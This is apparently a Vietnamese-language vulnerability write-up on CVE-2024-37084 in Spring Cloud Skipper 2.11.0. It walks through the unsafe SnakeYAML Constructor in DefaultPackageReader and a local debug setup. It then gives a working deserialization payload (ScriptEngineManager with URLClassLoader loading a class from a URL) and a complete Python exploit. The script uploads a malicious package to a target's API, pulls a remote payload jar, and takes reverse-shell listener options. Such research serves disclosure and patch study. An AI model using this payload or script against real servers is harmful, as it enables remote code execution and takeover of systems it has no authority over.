CVE-2024-37084: Spring Cloud Remote Code Execution

The vulnerability arises from the use of the standard Yaml constructor, which allows for the deserialization of arbitrary objects.

Demo Exploit RCE

Review

  • About CVE

CVE-2024-37084 lร  lแป— hแป•ng bแบฃo mแบญt trong Spring Cloud Skipper, liรชn quan cแปฅ thแปƒ ฤ‘แบฟn cรกch แปฉng dแปฅng xแปญ lรฝ input data YAML.

Lแป— hแป•ng phรกt sinh tแปซ viแป‡c sแปญ dแปฅng hร m tแบกo Yaml chuแบฉn (standard Yaml constructor) , cho phรฉp hแปงy tuแบงn tแปฑ hรณa (deserialization )cรกc object tรนy รฝ. Tแปซ ฤ‘รขy attacker cรณ thแปƒ tแบญn dแปฅng ฤ‘แปƒ khai thรกc bแบฑng cรกch cung cแบฅp dแปฏ liแป‡u YAML ฤ‘แป™c hแบกi (malicious YAML data) , cรณ khแบฃ nฤƒng dแบซn ฤ‘แบฟn thแปฑc thi mรฃ tแปซ xa ( RCE ) .

Lแป— hแป•ng แบฃnh hฦฐแปŸng ฤ‘แบฟn cรกc phiรชn bแบฃn 2.11.x & 2.10.x cแปงa Spring Cloud Skipper.

DiffCode

  • Diffing

Bแบฃn vรก cho CVE-2024-37084, ฤ‘ฦฐแปฃc nรชu chi tiแบฟt trรชn GitHub cรณ thแปƒ so sรกnh source code , diff nรณ vแป›i bแบฃn 2.11.x hoแบทc theo dรตi thay ฤ‘แป•i trรชn github vแป report nร y

Cรกc thay ฤ‘แป•i tรกc ฤ‘แป™ng ฤ‘แบฟn mแป™t sแป‘ file ฤ‘แบทc biแป‡t lร  hร m SafeConstructor ฤ‘แปƒ ฤ‘แบฃm bแบฃo YAML deserialization an toร n hฦกn so vแป›i bแบฃn 2.11.x , แปŸ ฤ‘รขy mรฌnh sแบฝ dรนng bแบฃn 2.11.0.

  • Update Constructor cho PackageMetadata

File PackageMetadataSafeConstructor.java -> Update cแปงa file PackageMetadata cรณ 1 sแป‘ thay ฤ‘แป•i , ta sแบฝ xem code diff แปŸ ฤ‘รขy :

Link github report vแป diff code giแปฏa versoin 2.11.0 tแป“n tแบกi lแป— hแป•ng yaml deserialze cแปงa CVE nร y vร  version sau khi patch :

Update PackageMetadataSafeConstructor an toร n deserializing object hฦกn so vแป›i bแบฃn 2.11.0 lร  PackageMetadata.

Set Up

Download bแบฃn 2.11.0 Spring Cloud Data Flow trรชn link GitHub :

Trong spring-cloud-dataflow-2.11.0/src/docker-compose, mแปŸ file docker-compose.yml,

Thรชm

JAVA_TOOL_OPTIONS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address =*:5005 vร o mแปฅc environment skipper-server ฤ‘แปƒ setup debug :

ฤแปƒ cรณ thแปƒ debug remote แปŸ localhost vแป›i port listen lร  5005 nรชn phแบงn ports cลฉng cแบงn thรชm port 5005

ฤแปƒ deloy chแบกy lแป‡nh :

sudo docker-compose up -d

Sau khi chแบกy thร nh cรดng sแบฝ cรณ thแปƒ xem ฤ‘ฦฐแปฃc dashboard vร  Skipper Server API :

Analysis

View hร m upload() แปŸ spring-cloud-dataflow-2.11.0/spring-cloud-skipper/spring-cloud-skipper-server-core/src/main/java/org/springframework/cloud/skipper/server/service/PackageService.java:

Soure code :

	public PackageMetadata upload(UploadRequest uploadRequest) {
		validateUploadRequest(uploadRequest);
		Repository localRepositoryToUpload = getRepositoryToUpload(uploadRequest.getRepoName());
		Path packageDirPath = null;
		try {
			packageDirPath = TempFileUtils.createTempDirectory("skipperUpload");
			File packageDir = new File(packageDirPath + File.separator + uploadRequest.getName());
			packageDir.mkdir();
			Path packageFile = Paths
					.get(packageDir.getPath() + File.separator + uploadRequest.getName() + "-"
							+ uploadRequest.getVersion() + "." + uploadRequest.getExtension());
			Assert.isTrue(packageDir.exists(), "Package directory doesn't exist.");
			Files.write(packageFile, uploadRequest.getPackageFileAsBytes());
			ZipUtil.unpack(packageFile.toFile(), packageDir);
			String unzippedPath = packageDir.getAbsolutePath() + File.separator + uploadRequest.getName()
					+ "-" + uploadRequest.getVersion();
			File unpackagedFile = new File(unzippedPath);
			Assert.isTrue(unpackagedFile.exists(), "Package is expected to be unpacked, but it doesn't exist");
			Package packageToUpload = this.packageReader.read(unpackagedFile);
			PackageMetadata packageMetadata = packageToUpload.getMetadata();
			if (!packageMetadata.getName().equals(uploadRequest.getName())
					|| !packageMetadata.getVersion().equals(uploadRequest.getVersion())) {
				throw new SkipperException(String.format("Package definition in the request [%s:%s] " +
								"differs from one inside the package.yml [%s:%s]",
						uploadRequest.getName(), uploadRequest.getVersion(),
						packageMetadata.getName(), packageMetadata.getVersion()));
			}
			if (localRepositoryToUpload != null) {
				packageMetadata.setRepositoryId(localRepositoryToUpload.getId());
				packageMetadata.setRepositoryName(localRepositoryToUpload.getName());
			}
			packageMetadata.setPackageFile(new PackageFile((uploadRequest.getPackageFileAsBytes())));
			return this.packageMetadataRepository.save(packageMetadata);
		}
		catch (IOException e) {
			throw new SkipperException("Failed to upload the package.", e);
		}
		finally {
			if (packageDirPath != null && !FileSystemUtils.deleteRecursively(packageDirPath.toFile())) {
				logger.warn("Temporary directory can not be deleted: " + packageDirPath);
			}
		}
	}

Tรณm tแบฏt cรกch hoแบกt ฤ‘แป™ng cแปงa hร m nร y

  1. Xรกc thแปฑc yรชu cแบงu tแบฃi lรชn.

  2. Tแบกo thฦฐ mแปฅc tแบกm thแปi ฤ‘แปƒ lฦฐu trแปฏ package.

  3. Giแบฃi nรฉn package ฤ‘แปƒ kiแปƒm tra nแป™i dung.

  4. Xรกc thแปฑc metadata trong package ฤ‘แปƒ ฤ‘แบฃm bแบฃo tรญnh hแปฃp lแป‡.

  5. Lฦฐu metadata vร o cฦก sแปŸ dแปฏ liแป‡u vร  liรชn kแบฟt vแป›i repository.

  6. Xรณa cรกc file tแบกm sau khi hoร n tแบฅt.

Cแปฅ thแปƒ hฦกn :

1. Xรกc thแปฑc yรชu cแบงu tแบฃi lรชn

validateUploadRequest(uploadRequest);
  • Hร m nร y kiแปƒm tra dแปฏ liแป‡u cแปงa yรชu cแบงu tแบฃi lรชn ฤ‘แปƒ ฤ‘แบฃm bแบฃo rแบฑng nรณ hแปฃp lแป‡ trฦฐแป›c khi tiแบฟp tแปฅc.

2. Lแบฅy repository ฤ‘แปƒ tแบฃi lรชn

Repository localRepositoryToUpload = getRepositoryToUpload(uploadRequest.getRepoName());
  • Xรกc ฤ‘แป‹nh repository mร  package sแบฝ ฤ‘ฦฐแปฃc tแบฃi lรชn dแปฑa trรชn tรชn repository ฤ‘ฦฐแปฃc cung cแบฅp trong yรชu cแบงu.

3. Tแบกo thฦฐ mแปฅc tแบกm thแปi vร  tแบกo package file

packageDirPath = TempFileUtils.createTempDirectory("skipperUpload");
File packageDir = new File(packageDirPath + File.separator + uploadRequest.getName());
packageDir.mkdir();
Path packageFile = Paths.get(packageDir.getPath() + File.separator + uploadRequest.getName() + "-" + uploadRequest.getVersion() + "." + uploadRequest.getExtension());
Files.write(packageFile, uploadRequest.getPackageFileAsBytes());
  • Tแบกo mแป™t thฦฐ mแปฅc tแบกm thแปi trรชn hแป‡ thแป‘ng ฤ‘แปƒ chแปฉa package tแบฃi lรชn. Sau ฤ‘รณ, mแป™t file tแบกm thแปi ฤ‘ฦฐแปฃc tแบกo ra tแปซ dแปฏ liแป‡u cแปงa package vร  lฦฐu vร o thฦฐ mแปฅc nร y.

4. Giแบฃi nรฉn file tแบฃi lรชn

ZipUtil.unpack(packageFile.toFile(), packageDir);
  • Sau khi file ฤ‘ฦฐแปฃc tแบฃi lรชn, nรณ sแบฝ ฤ‘ฦฐแปฃc giแบฃi nรฉn ฤ‘แปƒ cรณ thแปƒ ฤ‘แปc vร  xแปญ lรฝ dแปฏ liแป‡u bรชn trong.

5. Xรกc minh package ฤ‘รฃ giแบฃi nรฉn tแป“n tแบกi

String unzippedPath = packageDir.getAbsolutePath() + File.separator + uploadRequest.getName() + "-" + uploadRequest.getVersion();
File unpackagedFile = new File(unzippedPath);
Assert.isTrue(unpackagedFile.exists(), "Package is expected to be unpacked, but it doesn't exist");
  • Xรกc nhแบญn rแบฑng quรก trรฌnh giแบฃi nรฉn ฤ‘รฃ diแป…n ra thร nh cรดng vร  file ฤ‘รฃ giแบฃi nรฉn tแป“n tแบกi.

6. ฤแปc vร  xรกc thแปฑc metadata cแปงa package

Package packageToUpload = this.packageReader.read(unpackagedFile);
PackageMetadata packageMetadata = packageToUpload.getMetadata();
if (!packageMetadata.getName().equals(uploadRequest.getName()) || !packageMetadata.getVersion().equals(uploadRequest.getVersion())) {
	throw new SkipperException(String.format("Package definition in the request [%s:%s] differs from one inside the package.yml [%s:%s]",
			uploadRequest.getName(), uploadRequest.getVersion(), packageMetadata.getName(), packageMetadata.getVersion()));
}
  • ฤแปc metadata tแปซ package ฤ‘รฃ giแบฃi nรฉn vร  so sรกnh vแป›i dแปฏ liแป‡u yรชu cแบงu tแบฃi lรชn

7. Lฦฐu metadata vร  liรชn kแบฟt vแป›i repository

if (localRepositoryToUpload != null) {
	packageMetadata.setRepositoryId(localRepositoryToUpload.getId());
	packageMetadata.setRepositoryName(localRepositoryToUpload.getName());
}
packageMetadata.setPackageFile(new PackageFile((uploadRequest.getPackageFileAsBytes())));
return this.packageMetadataRepository.save(packageMetadata);
  • Link package metadata vแป›i repository tฦฐฦกng แปฉng (nแบฟu cรณ), rแป“i lฦฐu metadata cแปงa package vร o database

8. Xแปญ lรฝ exception vร  xรณa thฦฐ mแปฅc tแบกm thแปi

finally {
	if (packageDirPath != null && !FileSystemUtils.deleteRecursively(packageDirPath.toFile())) {
		logger.warn("Temporary directory can not be deleted: " + packageDirPath);
	}
}
  • Thฦฐ mแปฅc tแบกm thแปi ฤ‘ฦฐแปฃc tแบกo ra trฦฐแป›c ฤ‘รณ sแบฝ ฤ‘ฦฐแปฃc xรณa sau khi quรก trรฌnh hoร n thร nh. Nแบฟu khรดng thแปƒ xรณa ฤ‘ฦฐแปฃc, ghi lแบกi cแบฃnh bรกo vร o log.

Phรขn tรญch thรชm vแป method read() qua file DefaultPackageReader.java khi ta search link method nร y trong project :

Source code :

public class DefaultPackageReader implements PackageReader {

	@Override
	public Package read(File packageDirectory) {
		Assert.notNull(packageDirectory, "File to load package from can not be null");
		List<File> files;
		try (Stream<Path> paths = Files.walk(Paths.get(packageDirectory.getPath()), 1)) {
			files = paths.map(i -> i.toAbsolutePath().toFile()).collect(Collectors.toList());
		}
		catch (IOException e) {
			throw new SkipperException("Could not process files in path " + packageDirectory.getPath() + ". " + e.getMessage(), e);
		}
		Package pkg = new Package();
		List<FileHolder> fileHolders = new ArrayList<>();
		// Iterate over all files and "deserialize" the package.
		for (File file : files) {
			// Package metadata
			if (file.getName().equalsIgnoreCase("package.yaml") || file.getName().equalsIgnoreCase("package.yml")) {
				pkg.setMetadata(loadPackageMetadata(file));
				continue;
			}

			if (file.getName().endsWith("manifest.yaml") || file.getName().endsWith("manifest.yml")) {
				fileHolders.add(loadManifestFile(file));
				continue;
			}

			// Package property values for configuration
			if (file.getName().equalsIgnoreCase("values.yaml") ||
					file.getName().equalsIgnoreCase("values.yml")) {
				pkg.setConfigValues(loadConfigValues(file));
				continue;
			}

			// The template files
			final File absoluteFile = file.getAbsoluteFile();
			if (absoluteFile.isDirectory() && absoluteFile.getName().equals("templates")) {
				pkg.setTemplates(loadTemplates(file));
				continue;
			}

			// dependent packages
			if ((file.getName().equalsIgnoreCase("packages") && file.isDirectory())) {
				File[] dependentPackageDirectories = file.listFiles();
				List<Package> dependencies = new ArrayList<>();
				for (File dependentPackageDirectory : dependentPackageDirectories) {
					dependencies.add(read(dependentPackageDirectory));
				}
				pkg.setDependencies(dependencies);
			}
		}
		if (!fileHolders.isEmpty()) {
			pkg.setFileHolders(fileHolders);
		}
		return pkg;
	}

	private List<Template> loadTemplates(File templatePath) {
		List<File> files;
		try (Stream<Path> paths = Files.walk(Paths.get(templatePath.getAbsolutePath()), 1)) {
			files = paths.map(i -> i.toAbsolutePath().toFile()).collect(Collectors.toList());
		}
		catch (IOException e) {
			throw new SkipperException("Could not process files in template path " + templatePath, e);
		}

		List<Template> templates = new ArrayList<>();
		for (File file : files) {
			if (isYamlFile(file)) {
				Template template = new Template();
				template.setName(file.getName());
				try {
					template.setData(new String(Files.readAllBytes(file.toPath()), "UTF-8"));
				}
				catch (IOException e) {
					throw new SkipperException("Could read template file " + file.getAbsoluteFile(), e);
				}
				templates.add(template);
			}
		}
		return templates;
	}

	private boolean isYamlFile(File file) {
		Path path = Paths.get(file.getAbsolutePath());
		String fileName = path.getFileName().toString();
		if (!fileName.startsWith(".")) {
			return (fileName.endsWith("yml") || fileName.endsWith("yaml"));
		}
		return false;
	}

	private ConfigValues loadConfigValues(File file) {
		ConfigValues configValues = new ConfigValues();
		try {
			configValues.setRaw(new String(Files.readAllBytes(file.toPath()), "UTF-8"));
		}
		catch (IOException e) {
			throw new SkipperException("Could read values file " + file.getAbsoluteFile(), e);
		}
		return configValues;
	}

	private FileHolder loadManifestFile(File file) {
		try {
			return new FileHolder(file.getName(), Files.readAllBytes(file.toPath()));
		}
		catch (IOException e) {
			throw new SkipperException("Could read values file " + file.getAbsoluteFile(), e);
		}
	}

	private PackageMetadata loadPackageMetadata(File file) {
		// The Representer will not try to set the value in the YAML on the
		// Java object if it isn't present on the object
		DumperOptions options = new DumperOptions();
		Representer representer = new Representer(options);
		representer.getPropertyUtils().setSkipMissingProperties(true);
		LoaderOptions loaderOptions = new LoaderOptions();
		Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer);
		String fileContents = null;
		try {
			fileContents = FileUtils.readFileToString(file);
		}
		catch (IOException e) {
			throw new SkipperException("Error reading yaml file", e);
		}
		PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
		return pkgMetadata;
	}
}

Tรณm tแบฏt:

  • Hร m read() cแปงa lแป›p DefaultPackageReader duyแป‡t qua thฦฐ mแปฅc cแปงa package, phรขn tรญch cรกc file YAML, manifest, cแบฅu hรฌnh, vร  template ฤ‘แปƒ tแบกo ฤ‘แป‘i tฦฐแปฃng Package hoร n chแป‰nh.

  • Nรณ xแปญ lรฝ cรกc file theo loแบกi, kiแปƒm tra vร  tแบฃi chรบng vร o cรกc object Java tฦฐฦกng แปฉng.

  • Sแปญ dแปฅng thฦฐ viแป‡n SnakeYAML ฤ‘แปƒ ฤ‘แปc vร  รกnh xแบก cรกc file YAML thร nh ฤ‘แป‘i tฦฐแปฃng PackageMetadata.

  • Vuln sแบฝ nแบฑm แปŸ hร m nร y.

Quรก trรฌnh ฤ‘แปc nร y giรบp tแบฃi vร  chuแบฉn bแป‹ package ฤ‘แปƒ sแปญ dแปฅng trong cรกc bฦฐแป›c tiแบฟp theo.

Cแปฅ thแปƒ hฦกn hร m read() trong DefaultPackageReader

1. Kiแปƒm tra vร  duyแป‡t qua cรกc file trong thฦฐ mแปฅc

Assert.notNull(packageDirectory, "File to load package from can not be null");
try (Stream<Path> paths = Files.walk(Paths.get(packageDirectory.getPath()), 1)) {
    files = paths.map(i -> i.toAbsolutePath().toFile()).collect(Collectors.toList());
}
catch (IOException e) {
    throw new SkipperException("Could not process files in path " + packageDirectory.getPath() + ". " + e.getMessage(), e);
}
  • Kiแปƒm tra thฦฐ mแปฅc truyแปn vร o cรณ hแปฃp lแป‡ khรดng. Sau ฤ‘รณ sแปญ dแปฅng Files.walk() ฤ‘แปƒ duyแป‡t qua cรกc file trong thฦฐ mแปฅc, lแบฅy danh sรกch file vร  lฦฐu vร o files.

  • ฤแบฃm bแบฃo rแบฑng thฦฐ mแปฅc khรดng rแป—ng vร  xแปญ lรฝ exception trong trฦฐแปng hแปฃp khรดng thแปƒ ฤ‘แปc ฤ‘ฦฐแปฃc.

2. Xแปญ lรฝ tแปซng file

for (File file : files) {
    if (file.getName().equalsIgnoreCase("package.yaml") || file.getName().equalsIgnoreCase("package.yml")) {
        pkg.setMetadata(loadPackageMetadata(file)); // note 
        continue;
    }
    if (file.getName().endsWith("manifest.yaml") || file.getName().endsWith("manifest.yml")) {
        fileHolders.add(loadManifestFile(file));
        continue;
    }
    if (file.getName().equalsIgnoreCase("values.yaml") || file.getName().equalsIgnoreCase("values.yml")) {
        pkg.setConfigValues(loadConfigValues(file));
        continue;
    }
    if (file.getAbsoluteFile().isDirectory() && file.getName().equals("templates")) {
        pkg.setTemplates(loadTemplates(file));
        continue;
    }
    if ((file.getName().equalsIgnoreCase("packages") && file.isDirectory())) {
        File[] dependentPackageDirectories = file.listFiles();
        List<Package> dependencies = new ArrayList<>();
        for (File dependentPackageDirectory : dependentPackageDirectories) {
            dependencies.add(read(dependentPackageDirectory));
        }
        pkg.setDependencies(dependencies);
    }
}
  • Vรฒng lแบทp nร y duyแป‡t qua cรกc file, phรขn loแบกi chรบng theo tแปซng loแบกi cแบงn xแปญ lรฝ:

    • Metadata: Nแบฟu lร  file package.yml hoแบทc package.yaml, load metadata cแปงa package( cรณ thแปƒ load code rce ).

    • Manifest: Xแปญ lรฝ cรกc file manifest (file cแบฅu hรฌnh).

    • Config Values: Load cรกc giรก trแป‹ cแบฅu hรฌnh tแปซ values.yaml hoแบทc values.yml.

    • Templates: Load cรกc file template tแปซ thฦฐ mแปฅc "templates".

    • Dependencies: Load cรณ thฦฐ mแปฅc con "packages", nรณ sแบฝ load thรชm cรกc package phแปฅ thuแป™c.

3. Load metadata cแปงa package

private PackageMetadata loadPackageMetadata(File file) {
    DumperOptions options = new DumperOptions();
    Representer representer = new Representer(options);
    representer.getPropertyUtils().setSkipMissingProperties(true);
    LoaderOptions loaderOptions = new LoaderOptions();
    Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer);
    String fileContents = null;
    try {
        fileContents = FileUtils.readFileToString(file);
    }
    catch (IOException e) {
        throw new SkipperException("Error reading yaml file", e);
    }
    PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
    return pkgMetadata;
}
  • Hร m nร y sแปญ dแปฅng thฦฐ viแป‡n SnakeYAML ฤ‘แปƒ ฤ‘แปc file YAML vร  chuyแปƒn nรณ thร nh objectPackageMetadata. Nรณ sแปญ dแปฅng Constructor ฤ‘แปƒ รกnh xแบก cรกc thuแป™c tรญnh cแปงa file YAML thร nh object Java tฦฐฦกng แปฉng.

  • ฤแบฃm bแบฃo rแบฑng nแบฟu cรณ thuแป™c tรญnh nร o trong YAML khรดng tแป“n tแบกi trong ฤ‘แป‘i tฦฐแปฃng Java, nรณ sแบฝ bแป qua mร  khรดng gรขy lแป—i.

4. Load file template

private List<Template> loadTemplates(File templatePath) {
    try (Stream<Path> paths = Files.walk(Paths.get(templatePath.getAbsolutePath()), 1)) {
        files = paths.map(i -> i.toAbsolutePath().toFile()).collect(Collectors.toList());
    }
    catch (IOException e) {
        throw new SkipperException("Could not process files in template path " + templatePath, e);
    }

    List<Template> templates = new ArrayList<>();
    for (File file : files) {
        if (isYamlFile(file)) {
            Template template = new Template();
            template.setName(file.getName());
            try {
                template.setData(new String(Files.readAllBytes(file.toPath()), "UTF-8"));
            }
            catch (IOException e) {
                throw new SkipperException("Could read template file " + file.getAbsoluteFile(), e);
            }
            templates.add(template);
        }
    }
    return templates;
}
  • Hร m nร y duyแป‡t qua thฦฐ mแปฅc "templates", ฤ‘แปc tแปซng file YAML vร  chuyแปƒn ฤ‘แป•i thร nh object Template. Nรณ load nแป™i dung cแปงa file vร  lฦฐu vร o template ฤ‘แปƒ sแปญ dแปฅng sau

5. Load config value

private ConfigValues loadConfigValues(File file) {
    ConfigValues configValues = new ConfigValues();
    try {
        configValues.setRaw(new String(Files.readAllBytes(file.toPath()), "UTF-8"));
    }
    catch (IOException e) {
        throw new SkipperException("Could read values file " + file.getAbsoluteFile(), e);
    }
    return configValues;
}
  • ฤแปc file values.yaml hoแบทc values.yml vร  lฦฐu trแปฏ nแป™i dung cแปงa nรณ trong ฤ‘แป‘i tฦฐแปฃng ConfigValues.

6.Load packageMetadata :

	private PackageMetadata loadPackageMetadata(File file) {
		// The Representer will not try to set the value in the YAML on the
		// Java object if it isn't present on the object
		DumperOptions options = new DumperOptions();
		Representer representer = new Representer(options);
		representer.getPropertyUtils().setSkipMissingProperties(true);
		LoaderOptions loaderOptions = new LoaderOptions();
		Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer);
		String fileContents = null;
		try {
			fileContents = FileUtils.readFileToString(file);
		}
		catch (IOException e) {
			throw new SkipperException("Error reading yaml file", e);
		}
		PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
		return pkgMetadata;
	}
PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
  • Nแป™i dung cแปงa chuแป—i YAML (fileContents) ฤ‘ฦฐแปฃc chuyแปƒn ฤ‘แป•i thร nh object PackageMetadata bแบฑng cรกch sแปญ dแปฅng yaml.load(fileContents) tแปซ thฦฐ viแป‡n SnakeYAML.

  • deserialization: Khi SnakeYAML gแบทp phแบฃi cรกc tag nhฦฐ !!javax.script.ScriptEngineManager, tแบกo object cแปงa cรกc class Java tฦฐฦกng แปฉng. ฤiแปu nร y cรณ thแปƒ dแบซn ฤ‘แบฟn viแป‡c thแปฑc thi mรฃ Java.

Debug

Chแปn Edit :

Chแปn dแบฅu + vร  thรชm remote debug JVM :

Click ok , chรบ รฝ port listen ฤ‘รบng vแป›i port ฤ‘รฃ setup ( 5005 )

ฤแบทt breakpoint tแบกi hร m upload() ฤ‘แป… debug xem cรกch nรณ load file lรชn , ฤ‘แบทt thรชm แปŸ cรกc phแบงn unzip file , check path ฤ‘แปƒ kiแปƒm tra :

Trฦฐแป›c tiรชn chuแบฉn bแป‹ payload :

Note : lแป— hแป•ng yaml deserialize nร y cรณ ฤ‘แปƒ cแบญp trong CVE-2022-1471.

Yaml payload :


repositoryId: 1
repositoryName: local
apiVersion: 1.0.0
version: 4.0.0
kind: test
origin: thePoc
displayName: anythings
name: thePoc

ฤ‘แปƒ payload แปŸ tag nร o cลฉng dc , mรฌnh sแบฝ ฤ‘แปƒ แปŸ tag displayName

Blog references : https://snyk.io/blog/unsafe-deserialization-snakeyaml-java-cve-2022-1471/

Payload :

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]

Sau khi deserialize -> tแบกo object -> instance ScriptEngineManager -> sแปญ dแปฅng URLClassLoader exec class tแปซ 1 URL cแปฅ thแปƒ ( แปŸ ฤ‘รขy lร  http://localhost:8080)

  • ScriptEngineManager sแบฝ tแบฃi cรกc script engine cรณ thแปƒ tแปซ URL http://localhost:8080/.

  • URLClassLoader cho phรฉp load cรกc class tแปซ URL ฤ‘รณ.


repositoryId: 1
repositoryName: local
apiVersion: 1.0.0
version: 4.0.0
kind: test
origin: thePoc
displayName: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]
name: thePoc

generate payload rce vแป›i : https://github.com/artsploit/yaml-payload

Chแบกy debug :

Cรณ thแปƒ thแบฅy ฤ‘รฃ nhแบญn ฤ‘ฦฐแปฃc request gแปญi file lรชn vแป›i data lร  file yaml chแปฉa payload sau khi zip ( dแปฏ liแป‡u dc covert thร nh cรกc byte )

Sau khi debug ฤ‘แบฟn :

ฤoแบกn kiแปƒm tra nร y cแบงn check File zip chแปฉa folder cแปงa package, vร  folder nรณ sแบฝ phแบฃi ฤ‘แบทt tรชn theo format packageName-version.

Sau ฤ‘รณ ฤ‘i ฤ‘แบฟn hร m read() vร  ฤ‘แปc dแปฏ liแป‡u, deserialize vร  chuyแปƒn content -> object vร  cรณ thแปƒ thแปฑc thi rce

Scipt exploit :

import os
import requests
import json
import zipfile
from pathlib import Path
import argparse

def create_package_yaml(version, payload_url, folder_path):
    package_content = f"""repositoryId: 1
repositoryName: local
apiVersion: 1.0.0
version: {version}
kind: test
origin: thePoc
displayName: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["{payload_url}"]]]]
name: thePoc
    """

    package_file_path = os.path.join(folder_path, "package.yaml")
    
    with open(package_file_path, 'w') as file:
        file.write(package_content)
    
    print(f"[+] Created package.yaml with version: {version}, payload URL: {payload_url}")

def zip_folder(folder_path, zip_file_path):
    with zipfile.ZipFile(zip_file_path, 'w', zipfile.ZIP_DEFLATED) as zipf:

        folder_name = os.path.basename(folder_path)
        
        for root, _, files in os.walk(folder_path):
            for file in files:
                full_path = os.path.join(root, file)
                relative_path = os.path.relpath(full_path, os.path.dirname(folder_path))
                zipf.write(full_path, relative_path)
                
    print(f"[+] Zipped folder to: {zip_file_path}")


def zip_to_byte_array(zip_file_path):
    with open(zip_file_path, 'rb') as zip_file:
        return list(zip_file.read())

def upload_package(url, version, package_file_as_bytes):
    upload_request = {
        "repoName": "local",
        "name": "thePoc",
        "version": version,
        "extension": "zip",
        "packageFileAsBytes": package_file_as_bytes
    }
    
    headers = {
        'Content-Type': 'application/json'
    }
    
    response = requests.post(url, headers=headers, data=json.dumps(upload_request))
    return response

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="PoC for CVE-2024-37084 - Remote Code Execution",
        usage="python CVE-2024-37084-Poc.py --target_url <target_url> --version <version> --payload_url <payload_url> [--listen_ip <listen_ip>] [--listen_port <listen_port>]"
    )

    parser.add_argument("--target_url", type=str, required=True, help="URL of the target server (e.g., http://target_ip:port/api/package/upload)")
    parser.add_argument("--version", type=str, required=True, help="Version of the package (e.g., 5.0.0)")
    parser.add_argument("--payload_url", type=str, required=True, help="URL to the malicious payload (e.g., https://too.lewd.se/yaml-payload.jar)")
    parser.add_argument("--listen_ip", type=str, default="0.0.0.0", help="IP to listen for the reverse shell (default: 0.0.0.0)")
    parser.add_argument("--listen_port", type=int, default=4444, help="Port to listen for the reverse shell (default: 4444)")

    if len(os.sys.argv) == 1:
        parser.print_help()
        os.sys.exit(1)

    args = parser.parse_args()

    folder_name = f"thePoc-{args.version}"
    zip_file_name = f"{folder_name}.zip"
    
    Path(folder_name).mkdir(parents=True, exist_ok=True)

    create_package_yaml(args.version, args.payload_url, folder_name)

    zip_folder(folder_name, zip_file_name)
    
    package_file_as_bytes = zip_to_byte_array(zip_file_name)

    print("[*] Uploading malicious package...")
    response = upload_package(args.target_url, args.version, package_file_as_bytes)
    
    print(f"Status Code: {response.status_code}")
    print(f"Response Body: {response.text}")

Test rce :

Last updated